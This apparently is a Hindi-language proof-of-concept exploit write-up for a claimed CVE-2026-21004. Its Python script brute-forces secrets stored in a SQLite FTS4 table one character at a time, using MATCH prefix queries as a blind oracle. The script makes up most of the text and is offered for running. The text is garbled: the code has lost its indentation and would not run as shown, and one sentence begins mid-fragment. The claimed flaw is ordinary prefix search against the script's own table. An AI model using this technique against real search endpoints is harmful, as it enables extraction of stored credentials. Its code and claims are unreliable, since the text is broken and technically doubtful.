
CVE-2026-21004 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: ब्लाइंड ओरेकल के रूप में तैयार की गई SQLite FTS3/4 MATCH प्रीफिक्स क्वेरी का उपयोग करके अनुक्रमित गुप्त डेटा को अक्षर-दर-अक्षर पुनर्प्राप्त करता है।
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
SQLite FTS4 का उपयोग करने वाला एक एप्लिकेशन एक खोज फ़ंक्शन उजागर करता है जो MATCH क्वेरी के आधार पर परिणाम लौटाता है। यह देखकर कि मैच होता है या नहीं (या समय अंतर देखकर), एक हमलावर फुल‑टेक्स्ट इंडेक्स की सामग्री को कैरेक्टर-दर-कैरेक्टर ब्रूट-फोर्स कर सकता है और संवेदनशील डेटा निकाल सकता है।
term*) का समर्थन करता है, जिससे एक हमलावर पूर्ण टर्म जाने बिना डिक्शनरी अटैक कर सकता है।एक्सप्लॉइट चलाएँ:
python sqlite_fts_leak.py
स्क्रिप्ट क्रमिक रूप से secrets टेबल की सामग्री को पुनर्प्राप्त करती है।